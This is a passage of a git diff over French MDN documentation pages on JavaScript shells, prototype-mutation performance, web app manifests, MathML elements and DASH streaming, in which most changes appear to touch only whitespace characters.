[_ES6 en détails : les gabarits de libellé_ sur tech.mozfr.org](https://tech.mozfr.org/post/2015/05/27/ES6-en-details-%3A-les-gabarits-de-chaines-de-caracteres) +- [_ES6 en détails : les gabarits de libellé_ sur tech.mozfr.org](https://tech.mozfr.org/post/2015/05/27/ES6-en-details-%3A-les-gabarits-de-chaines-de-caracteres) - _[Styled Components](https://www.styled-components.com/)_ diff --git a/files/fr/web/javascript/shells/index.md b/files/fr/web/javascript/shells/index.md index dc0dd750b7..7cc7206afe 100644 --- a/files/fr/web/javascript/shells/index.md +++ b/files/fr/web/javascript/shells/index.md @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Shells --- {{JsSidebar}} -Un _shell_ (ou une interface système) JavaScript permet de tester rapidement des fragments de code [JavaScript](/fr/docs/Web/JavaScript) sans devoir recharger constamment une page web. Ce type d'outil est très utile pour développer et déboguer du code. +Un _shell_ (ou une interface système) JavaScript permet de tester rapidement des fragments de code [JavaScript](/fr/docs/Web/JavaScript) sans devoir recharger constamment une page web. Ce type d'outil est très utile pour développer et déboguer du code. ## Des shells JavaScript autonomes @@ -30,7 +30,7 @@ Les shells suivants fonctionnent avec Mozilla. - [JavaScript Shell](/fr/docs/Introduction_au_shell_JavaScript) (`js`) - Un interpréteur JavaScript en ligne de commande. - [xpcshell](/fr/docs/xpcshell) est un shell qui peut utiliser [XPConnect](/fr/docs/XPConnect), ce qui est parfois utile pour du développement Mozilla. - [jsconsole.com](http://jsconsole.com/) est une console JavaScript open-source, qui permet notamment de créer facilement des liens vers les expressions saisies précédemment. -- [JavaScript Shell (page web)](http://www.squarefree.com/shell/) est aussi disponible avec l'extension [Developer Assistant](https://addons.mozilla.org/fr/firefox/addon/extension-developer/). +- [JavaScript Shell (page web)](http://www.squarefree.com/shell/) est aussi disponible avec l'extension [Developer Assistant](https://addons.mozilla.org/fr/firefox/addon/extension-developer/). - [Jash: JavaScript Shell](http://billyreisinger.com/jash/) est un shell DHTML qui donne un accès en ligne de commande à une page web. - [MozRepl](https://github.com/bard/mozrepl) permet de se connecter à Firefox et à d'autres applications Mozilla, de les explorer, et de les modifier depuis l'intérieur pendant leur exécution. - [Execute JS](https://addons.mozilla.org/fr/firefox/addon/execute-js/) est une extension Firefox qui propose une console JavaScript améliorée, où il est possible d'exécuter facilement du code JavaScript et de modifier des fonctions. Cette extension n'est plus maintenue. diff --git a/files/fr/web/javascript/the_performance_hazards_of_prototype_mutation/index.md b/files/fr/web/javascript/the_performance_hazards_of_prototype_mutation/index.md index eaa9f7bd04..9ed3926bf9 100644 --- a/files/fr/web/javascript/the_performance_hazards_of_prototype_mutation/index.md +++ b/files/fr/web/javascript/the_performance_hazards_of_prototype_mutation/index.md @@ -145,6 +145,6 @@ Pouvoir tracer l'utilisation d'un objet dont le prototype a été modifié, souv Il faudrait sinon pouvoir stocker des informations _cross-objet_. -Les informations _cross-objet_ sont différentes des formes et on ne peut pas les vérifier simplement. Une modification apportée à cette information pourrait avoir des impacts à de nombreux emplacements, pas nécessairement évidents : dans ce cas, où vérifier que les hypothèses sont respectées ? Ainsi, plutôt que de vérifier ces hypothèses avant l'utilisation, on invalide _toutes_ les hypothèses lorsqu'une modification se produit. Lorsque `[[Prototype]]` change, _tout_ le code qui en dépend doit être rejeté. L'opération `obj.__proto__ = ...` est donc lente par nature. En rejetant du code optimisé, cela rend le code beaucoup plus lent par la suite. +Les informations _cross-objet_ sont différentes des formes et on ne peut pas les vérifier simplement. Une modification apportée à cette information pourrait avoir des impacts à de nombreux emplacements, pas nécessairement évidents : dans ce cas, où vérifier que les hypothèses sont respectées ? Ainsi, plutôt que de vérifier ces hypothèses avant l'utilisation, on invalide _toutes_ les hypothèses lorsqu'une modification se produit. Lorsque `[[Prototype]]` change, _tout_ le code qui en dépend doit être rejeté. L'opération `obj.__proto__ = ...` est donc lente par nature. En rejetant du code optimisé, cela rend le code beaucoup plus lent par la suite. Encore pire, lorsqu'on évalue `obj.prop`, le moteur voit que l'objet a eu son `[[Prototype]]` changé et les informations précédemment enregistrées à propos de l'objet deviennent inutiles et SpiderMonkey considère que l'objet possède des caractéristiques inconnues. Ainsi, tout code qui manipule cet objet par la suite prendra l'hypothèse correspondant au pire des cas. L'optimisation des moteurs de compilation à la volée fonctionnent sur l'hypothèse que _l'exécution à venir est similaire à l'exécution passée_. Si du code observe un objet avec un `[[Prototype]]` modifié, ce code observera vraisemblablement d'autres objets. C'est pourquoi, **toutes les opérations qui intéragissent avec un objet dont le `[[Prototype]]` a changé, ne peuvent pas être optimisées**. diff --git a/files/fr/web/manifest/index.md b/files/fr/web/manifest/index.md index c7977f1b4d..6dc500c80e 100644 --- a/files/fr/web/manifest/index.md +++ b/files/fr/web/manifest/index.md @@ -6,13 +6,13 @@ tags: - Manifeste translation_of: Web/Manifest --- -Le manifeste d'une application web fournit des informations concernant celle-ci (comme son nom, son auteur, une icône et une description) dans un document texte JSON. Le but du manifeste est d'installer des applications sur l'écran d'accueil d'un appareil, offrant aux utilisateurs un accès plus rapide et une expérience plus riche. +Le manifeste d'une application web fournit des informations concernant celle-ci (comme son nom, son auteur, une icône et une description) dans un document texte JSON. Le but du manifeste est d'installer des applications sur l'écran d'accueil d'un appareil, offrant aux utilisateurs un accès plus rapide et une expérience plus riche. -Les manifestes font partie d'un ensemble de technologies appelées les [applications web progressives](/fr/docs/Web/Apps/Progressive) (_progressive web apps_). Il s'agit d'applications web qui peuvent être installées sur la page d'accueil d'un appareil sans que l'utilisateur ait à se rendre dans une boutique d'applications. De plus, une fois installées, elles peuvent être utilisées sans connexion internet et sont capables de recevoir des notifications _push._ +Les manifestes font partie d'un ensemble de technologies appelées les [applications web progressives](/fr/docs/Web/Apps/Progressive) (_progressive web apps_). Il s'agit d'applications web qui peuvent être installées sur la page d'accueil d'un appareil sans que l'utilisateur ait à se rendre dans une boutique d'applications. De plus, une fois installées, elles peuvent être utilisées sans connexion internet et sont capables de recevoir des notifications _push._ -## Déployer un manifeste +## Déployer un manifeste -Les manifestes des applications Web sont déployés dans vos pages HTML en utilisant une balise lien (_link_) dans l'entête (_head_) de votre document : +Les manifestes des applications Web sont déployés dans vos pages HTML en utilisant une balise lien (_link_) dans l'entête (_head_) de votre document : <link rel="manifest" href="/manifest.webmanifest"> @@ -109,11 +109,11 @@ Les valeurs valides sont : | Mode d'affichage | Description | Affichage de rattrapage | | ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- | | `fullscreen` | Toute la zone d'affichage disponible est utilisée et aucun agent utilisateur {{Glossary("chrome")}} n'est montré. | `standalone` | -| `standalone` | L'application va ressembler à une application autonome et se comporter comme telle. Cela peut inclure que l'application ait une fenêtre différente, sa propre icône dans le lanceur d'applications, etc. Dans ce mode, l'agent utilisateur va exclure les élements d'interface qui permettent de contrôler la navigation mais peut inclure d'autres éléments comme une barre de statut. | `minimal-ui` | +| `standalone` | L'application va ressembler à une application autonome et se comporter comme telle. Cela peut inclure que l'application ait une fenêtre différente, sa propre icône dans le lanceur d'applications, etc. Dans ce mode, l'agent utilisateur va exclure les élements d'interface qui permettent de contrôler la navigation mais peut inclure d'autres éléments comme une barre de statut. | `minimal-ui` | | `minimal-ui` | L'application va ressembler et se comporter comme une application autonome, mais elle aura quelques élements d'interface permettant de contrôler la navigation. Les éléments varient en fonction du navigateur web. | `browser` | | `browser` | L'application s'ouvre dans un nouvel onglet ou une nouvelle fenêtre du navigateur, en fonction du navigateur et de la plateforme. C'est la valeur par défaut. | (None) | -> **Note :** Vous pouvez appliquer les CSS de manière séléctive pour votre application en fonction du mode d'affichage en utilisant la fonction [display-mode](/docs/Web/CSS/@media/display-mode). Cela peut être utilisé pour fournir une expérience utilisateur cohérente entre le lancement à partir d'une URL et le lancement à partir d'une icône de bureau. +> **Note :** Vous pouvez appliquer les CSS de manière séléctive pour votre application en fonction du mode d'affichage en utilisant la fonction [display-mode](/docs/Web/CSS/@media/display-mode). Cela peut être utilisé pour fournir une expérience utilisateur cohérente entre le lancement à partir d'une URL et le lancement à partir d'une icône de bureau. ### `icons` @@ -156,13 +156,13 @@ Les objets image peuvent contenir les valeurs suivantes : <td><code>sizes</code></td> <td> Une chaîne de caractères contenant les dimensions des images, séparées - par des espaces. + par des espaces. </td> </tr> <tr> <td><code>src</code></td> <td> - Le chemin du fichier image. Si <code>src</code> est une URL relative, + Le chemin du fichier image. Si <code>src</code> est une URL relative, l'URL de base sera celle du manifeste. </td> </tr> @@ -214,7 +214,7 @@ L'orientation peut être l'une des valeurs suivantes: ### `prefer_related_applications` -Une valeur boléenne qui indique à l'agent utilisateur si une application liée doit être préférée à l'application web. Cela ne devrait être utilisé que si les applications natives concernées offrent vraiment quelque chose que l'application Web ne peut pas faire. +Une valeur boléenne qui indique à l'agent utilisateur si une application liée doit être préférée à l'application web. Cela ne devrait être utilisé que si les applications natives concernées offrent vraiment quelque chose que l'application Web ne peut pas faire. ```json "prefer_related_applications": "false" diff --git a/files/fr/web/manifest/theme_color/index.md b/files/fr/web/manifest/theme_color/index.md index a4e49ac4cb..a172a3190e 100644 --- a/files/fr/web/manifest/theme_color/index.md +++ b/files/fr/web/manifest/theme_color/index.md @@ -24,7 +24,7 @@ translation_of: Web/Manifest/theme_color </tbody> </table> -Le champ `theme_color` est une chaîne de caractères qui défini la couleur du thème par défaut de l'application. Cela peut parfois affecter la manière dont l'OS affiche le site (e.g., avec la bare des tâches sous Android, la couleur du thème entoure le site). +Le champ `theme_color` est une chaîne de caractères qui défini la couleur du thème par défaut de l'application. Cela peut parfois affecter la manière dont l'OS affiche le site (e.g., avec la bare des tâches sous Android, la couleur du thème entoure le site). ## Exemples diff --git a/files/fr/web/mathml/attribute/index.md b/files/fr/web/mathml/attribute/index.md index c1b4fdffae..887c588063 100644 --- a/files/fr/web/mathml/attribute/index.md +++ b/files/fr/web/mathml/attribute/index.md @@ -105,5 +105,5 @@ Cette référence est une liste, dans l'ordre alphabétique, des attributs MathM | `symmetric` | {{ MathMLElement("mo") }} | Si l'attribut `stretchy` vaut `true`, cet attribut définit si oui ou non l'opérateur doit être symétrique verticalement par rapport à l'axe mathématique imaginaire (la ligne de fraction centrée). | | `voffset` | {{ MathMLElement("mpadded") }} | Définit la position verticale d'un contenu fils. | | `width` | {{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}, {{ MathMLElement("mtable") }} | Définit la largeur souhaitée. Voir les [longueurs](/fr/docs/Web/MathML/Attribute/Values) pour les valeurs possibles. | -| `xlink:href` {{deprecated_inline}} | _Tous_ | Peut être utilisé pour former un hyperlien avec un URI donné. Cependant, il est conseillé d'utiliser l'attribut `href` à la place. | +| `xlink:href` {{deprecated_inline}} | _Tous_ | Peut être utilisé pour former un hyperlien avec un URI donné. Cependant, il est conseillé d'utiliser l'attribut `href` à la place. | | `xmlns` | {{ MathMLElement("math") }} | Définit l'URI de l'espace de nom MathML ([`http://www.w3.org/1998/Math/MathML`](http://www.w3.org/1998/Math/MathML)) | diff --git a/files/fr/web/mathml/element/math/index.md b/files/fr/web/mathml/element/math/index.md index b7deea058d..830c863f87 100644 --- a/files/fr/web/mathml/element/math/index.md +++ b/files/fr/web/mathml/element/math/index.md @@ -49,10 +49,10 @@ En plus des attributs qui suivent, l'élément `<math>` accepte tous les attribu ```html <!DOCTYPE html> <html> - <head> - <title>MathML en HTML5</title> - </head> - <body> + <head> + <title>MathML en HTML5</title> + </head> + <body> <math> <mrow> @@ -75,7 +75,7 @@ En plus des attributs qui suivent, l'élément `<math>` accepte tous les attribu </mrow> </math> - </body> + </body> </html> ``` diff --git a/files/fr/web/mathml/element/menclose/index.md b/files/fr/web/mathml/element/menclose/index.md index ca951855f1..f0bc1c0a4e 100644 --- a/files/fr/web/mathml/element/menclose/index.md +++ b/files/fr/web/mathml/element/menclose/index.md @@ -47,11 +47,11 @@ L'élément MathML `<menclose>` permet d'afficher son contenu groupé au sein d' ```html <math> - <menclose notation="circle box"> - <mi> x </mi> - <mo> + </mo> - <mi> y </mi> - </menclose> + <menclose notation="circle box"> + <mi> x </mi> + <mo> + </mo> + <mi> y </mi> + </menclose> </math> ``` diff --git a/files/fr/web/mathml/element/mfenced/index.md b/files/fr/web/mathml/element/mfenced/index.md index 24296cb7a5..18a53ce828 100644 --- a/files/fr/web/mathml/element/mfenced/index.md +++ b/files/fr/web/mathml/element/mfenced/index.md @@ -33,7 +33,7 @@ translation_of: Web/MathML/Element/mfenced - open - : Une chaîne de caractère pour le délimiteur ouvrant. La valeur par défaut est « `(` » et tous les blancs sont tronqués. - separators - - : Une séquence de plusieurs caractères (zéro ou plus) à utiliser pour les séparateurs, éventuellement séparés par des blancs qui seront ignorés. La valeur par défaut est « , ». En définissant plus d'un caractère, il est possible d'utiliser différents séparateurs pour chaque argument de l'expression. Si jamais il y a trop de séparateurs, le surplus est ignoré. S'il n'y en a pas assez, le dernier séparateur est répété. + - : Une séquence de plusieurs caractères (zéro ou plus) à utiliser pour les séparateurs, éventuellement séparés par des blancs qui seront ignorés. La valeur par défaut est « , ». En définissant plus d'un caractère, il est possible d'utiliser différents séparateurs pour chaque argument de l'expression. Si jamais il y a trop de séparateurs, le surplus est ignoré. S'il n'y en a pas assez, le dernier séparateur est répété. ## Exemples diff --git a/files/fr/web/mathml/element/mover/index.md b/files/fr/web/mathml/element/mover/index.md index f183266eeb..503acc4d75 100644 --- a/files/fr/web/mathml/element/mover/index.md +++ b/files/fr/web/mathml/element/mover/index.md @@ -13,7 +13,7 @@ L'élément MathML `<mover>` est utilisé pour attacher un accent ou une limite - : Lorsqu'il vaut `true` le script au-dessus est un _accent_, qui est affiché plus près de la base. Lorsqu'il vaut `false` (valeur par défaut) le script au-dessus est une _limite_ au-dessus de la base. - align - - : L'alignement du script au-dessus. Les valeurs possibles sont : `left`, `center`, et `right`. + - : L'alignement du script au-dessus. Les valeurs possibles sont : `left`, `center`, et `right`. - class, id, style - : Afin d'être utilisés avec les [feuilles de styles](/fr/docs/CSS). - href @@ -27,7 +27,7 @@ L'élément MathML `<mover>` est utilisé pour attacher un accent ou une limite Exemple de rendu:  -Rendu dans votre navigateur : <math><mover accent="true"><mrow><mi>x </mi><mo>+ </mo><mi>y </mi><mo>+ </mo><mi>z </mi></mrow><mo>⏞</mo></mover></math> +Rendu dans votre navigateur : <math><mover accent="true"><mrow><mi>x </mi><mo>+ </mo><mi>y </mi><mo>+ </mo><mi>z </mi></mrow><mo>⏞</mo></mover></math> ```html <math> diff --git a/files/fr/web/mathml/element/msub/index.md b/files/fr/web/mathml/element/msub/index.md index b53cdcafab..3b7be3e203 100644 --- a/files/fr/web/mathml/element/msub/index.md +++ b/files/fr/web/mathml/element/msub/index.md @@ -29,10 +29,10 @@ Rendu dans votre navigateur: <math><msub><mi>X</mi> <mn>1</mn></msub></math> ```html <math> - <msub> - <mi>X</mi> - <mn>1</mn> - </msub> + <msub> + <mi>X</mi> + <mn>1</mn> + </msub> </math> ``` diff --git a/files/fr/web/mathml/element/munderover/index.md b/files/fr/web/mathml/element/munderover/index.md index 12e067d42a..2266929d57 100644 --- a/files/fr/web/mathml/element/munderover/index.md +++ b/files/fr/web/mathml/element/munderover/index.md @@ -38,7 +38,7 @@ Exemple de rendu:  ```html <math displaystyle="true"> - <munderover > + <munderover > <mo> ∫ <!--INTEGRAL--> </mo> <mn> 0 </mn> <mi> ∞ <!--INFINITY--> </mi> diff --git a/files/fr/web/mathml/examples/deriving_the_quadratic_formula/index.md b/files/fr/web/mathml/examples/deriving_the_quadratic_formula/index.md index 5622d60de9..b7ae90fe57 100644 --- a/files/fr/web/mathml/examples/deriving_the_quadratic_formula/index.md +++ b/files/fr/web/mathml/examples/deriving_the_quadratic_formula/index.md @@ -4,6 +4,6 @@ slug: Web/MathML/Examples/Deriving_the_Quadratic_Formula translation_of: Web/MathML/Examples/Deriving_the_Quadratic_Formula original_slug: Web/MathML/Exemples/Dériver_la_Formule_Quadratique --- -Dans cette page, on rédige la démonstration de la détermination des racines d'un polynôme quadratique : +Dans cette page, on rédige la démonstration de la détermination des racines d'un polynôme quadratique : -<math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mi>a</mi> <mo></mo> <msup><mi>x</mi> <mn>2</mn> </msup></mrow><mo>+ </mo><mi>b</mi> <mo></mo> <mi>x</mi> </mrow><mo>+ </mo><mi>c</mi> </mrow><mo>=</mo> <mn>0</mn> </mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mi>a</mi> <mo></mo> <msup><mi>x</mi> <mn>2</mn> </msup></mrow><mo>+ </mo><mi>b</mi> <mo></mo> <mi>x</mi> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow><mo>=</mo> <mo>-</mo><mi> c</mi><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><msup><mi>x</mi> <mn>2</mn> </msup></mrow><mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mi>a</mi> </mfrac><mo></mo> <mi>x</mi> </mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mo>=</mo> <mfrac><mrow><mo>-</mo><mi>c</mi> </mrow><mi>a</mi> </mfrac><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">On divise par le premier coefficient du polynôme.</mtext> </mrow></mtd></mtr><mtr><mtd><mrow><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><msup><mi>x</mi> <mn>2</mn> </msup></mrow><mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mi>a</mi> </mfrac><mo></mo> <mi>x</mi> <mo>+ </mo><msup><mfenced><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac></mfenced><mn>2</mn> </msup></mrow><mo>=</mo> <mfrac><mrow><mo>-</mo> <mi>c</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow><mrow><mi>a</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow></mfrac></mrow><mo>+ </mo><mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup></mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn> </msup></mrow></mfrac><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">On rajoute un terme pour avoir un carré.</mtext> </mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mo>(</mo> <mi>x</mi> <mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac><mo>)</mo> <mo>(</mo> <mi>x</mi> <mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac><mo>)</mo> <mo>=</mo> <mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn> </msup></mrow></mfrac></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Ici, on obtient la valeur du discriminant.</mtext> </mrow></mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><msup><mrow><mo>(</mo> <mi>x</mi> <mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac><mo>)</mo> </mrow><mn>2</mn> </msup><mo>=</mo> <mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn> </msup></mrow></mfrac></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext></mrow></mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mrow><mi>x</mi> <mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac></mrow><mo>=</mo> <mo>±</mo> <msqrt><mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn> </msup></mrow></mfrac></msqrt></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext></mrow></mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mrow><mi>x</mi> </mrow><mo>=</mo> <mfrac><mrow><mo>-</mo><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac><mo>±</mo> <msqrt><mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn></msup></mrow></mfrac></msqrt></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext></mrow></mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow><mi>x</mi> </mrow><mo>=</mo> <mfrac><mrow><mo>-</mo> <mi>b</mi> <mo>±</mo> <msqrt><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </msqrt></mrow><mrow><mn>2</mn> <mi>a</mi></mrow></mfrac></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext></mrow></mrow></mtd></mtr></mtable></math> +<math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mi>a</mi> <mo></mo> <msup><mi>x</mi> <mn>2</mn> </msup></mrow><mo>+ </mo><mi>b</mi> <mo></mo> <mi>x</mi> </mrow><mo>+ </mo><mi>c</mi> </mrow><mo>=</mo> <mn>0</mn> </mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mi>a</mi> <mo></mo> <msup><mi>x</mi> <mn>2</mn> </msup></mrow><mo>+ </mo><mi>b</mi> <mo></mo> <mi>x</mi> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow><mo>=</mo> <mo>-</mo><mi> c</mi><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><msup><mi>x</mi> <mn>2</mn> </msup></mrow><mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mi>a</mi> </mfrac><mo></mo> <mi>x</mi> </mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mo>=</mo> <mfrac><mrow><mo>-</mo><mi>c</mi> </mrow><mi>a</mi> </mfrac><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">On divise par le premier coefficient du polynôme.</mtext> </mrow></mtd></mtr><mtr><mtd><mrow><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><msup><mi>x</mi> <mn>2</mn> </msup></mrow><mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mi>a</mi> </mfrac><mo></mo> <mi>x</mi> <mo>+ </mo><msup><mfenced><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac></mfenced><mn>2</mn> </msup></mrow><mo>=</mo> <mfrac><mrow><mo>-</mo> <mi>c</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow><mrow><mi>a</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow></mfrac></mrow><mo>+ </mo><mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup></mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn> </msup></mrow></mfrac><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">On rajoute un terme pour avoir un carré.</mtext> </mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mo>(</mo> <mi>x</mi> <mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac><mo>)</mo> <mo>(</mo> <mi>x</mi> <mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac><mo>)</mo> <mo>=</mo> <mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn> </msup></mrow></mfrac></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Ici, on obtient la valeur du discriminant.</mtext> </mrow></mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><msup><mrow><mo>(</mo> <mi>x</mi> <mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac><mo>)</mo> </mrow><mn>2</mn> </msup><mo>=</mo> <mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn> </msup></mrow></mfrac></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext></mrow></mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mrow><mi>x</mi> <mo>+ </mo><mfrac><mrow><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac></mrow><mo>=</mo> <mo>±</mo> <msqrt><mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn> </msup></mrow></mfrac></msqrt></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext></mrow></mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace><mrow><mi>x</mi> </mrow><mo>=</mo> <mfrac><mrow><mo>-</mo><mi>b</mi> </mrow><mrow><mn>2</mn> <mi>a</mi> </mrow></mfrac><mo>±</mo> <msqrt><mfrac><mrow><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow><mrow><mn>4</mn> <msup><mi>a</mi> <mn>2</mn></msup></mrow></mfrac></msqrt></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext></mrow></mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow><mi>x</mi> </mrow><mo>=</mo> <mfrac><mrow><mo>-</mo> <mi>b</mi> <mo>±</mo> <msqrt><msup><mi>b</mi> <mn>2</mn> </msup><mo>- </mo><mn>4</mn> <mi>a</mi> <mi>c</mi> </msqrt></mrow><mrow><mn>2</mn> <mi>a</mi></mrow></mfrac></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext></mrow></mrow></mtd></mtr></mtable></math> diff --git a/files/fr/web/media/dash_adaptive_streaming_for_html_5_video/index.md b/files/fr/web/media/dash_adaptive_streaming_for_html_5_video/index.md index a283118350..f8e8b95ed4 100644 --- a/files/fr/web/media/dash_adaptive_streaming_for_html_5_video/index.md +++ b/files/fr/web/media/dash_adaptive_streaming_for_html_5_video/index.md @@ -76,7 +76,7 @@ Autrement, on peut utiliser cette commande : Les arguments `-map` correspondent aux fichiers d'entrée dans l'ordre dans lequel ils sont fournis. Il doit y en avoir un pour chaque fichier. L'argument `-adaptation_sets` permet de les affecter à différents ensembles d'adaptation. Par exemple, cela crée un ensemble (0) qui contient les flux 0, 1, 2 et 3 (les vidéos) et un autre ensemble (1) qui contient uniquement le flux 4 (l'audio). -On pourra alors placer le fichier de manifeste créé à côté des fichiers vidéo sur le serveur web ou sur le CDN. DASH fonctionne via HTTP donc il suffit simplement que votre serveur prenne en charge les requêtes d'intervalles d'octets (byte range requests) et qu'il puisse servir les fichiers `.mpd` avec `mimetype="application/dash+xml"`. +On pourra alors placer le fichier de manifeste créé à côté des fichiers vidéo sur le serveur web ou sur le CDN. DASH fonctionne via HTTP donc il suffit simplement que votre serveur prenne en charge les requêtes d'intervalles d'octets (byte range requests) et qu'il puisse servir les fichiers 